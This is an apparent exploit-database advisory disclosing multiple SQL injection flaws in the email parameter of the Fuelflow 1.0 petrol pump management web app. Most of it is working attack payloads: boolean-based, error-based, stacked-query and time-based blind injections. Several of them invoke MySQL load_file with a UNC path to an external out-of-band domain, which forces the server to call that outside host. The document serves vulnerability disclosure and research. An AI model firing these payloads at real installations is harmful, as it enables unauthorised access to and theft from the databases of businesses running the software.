Fuelflow 1.0 SQL Injection

## Title: fuelflow-1.0-Copyright-©-2024-Project-Develop-by-Mayuri-K-Multiple-SQLi## Author: nu11secur1ty## Date: 02/21/24## Vendor: https://www.mayurik.com/## Software: https://www.mayurik.com/source-code/P3584/best-petrol-pump-management-software## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.tupaputka.com\\xvb'))+'was submitted in the email parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can receive very sensitive informationabout this system by using these vulnerabilities!STATUS: HIGH-Vulnerability[+]Payload:```mysql---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: email=-5782' OR 2852=2852 OR'nYvi'='GjbH&password=h3I!y3o!F9&submit=    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: [email protected]'+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.oastify.com\\xvb'))+''AND (SELECT 9621 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT(ELT(9621=9621,1))),0x7178787671,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR'BiVP'='cVHj&password=h3I!y3o!F9&submit=    Type: stacked queries    Title: MySQL >= 5.0.12 stacked queries (comment)    Payload: [email protected]'+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.oastify.com\\xvb'))+'';SELECTSLEEP(7)#&password=h3I!y3o!F9&submit=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: [email protected]'+(selectload_file('\\\\pibamkpyl8vvxbe3ljxtlrrih9n2buzl29uwkk9.oastify.com\\xvb'))+''AND (SELECT 3257 FROM (SELECT(SLEEP(7)))QSTs) OR'Lshu'='MGpY&password=h3I!y3o!F9&submit=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2024/fuelflow-1.0-Copyright-%C2%A9-2024-Project-Develop-by-Mayuri-K-Multiple-SQLi)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/02/fuelflow-10-copyright-2024-project.html)## Time spent:00:35:00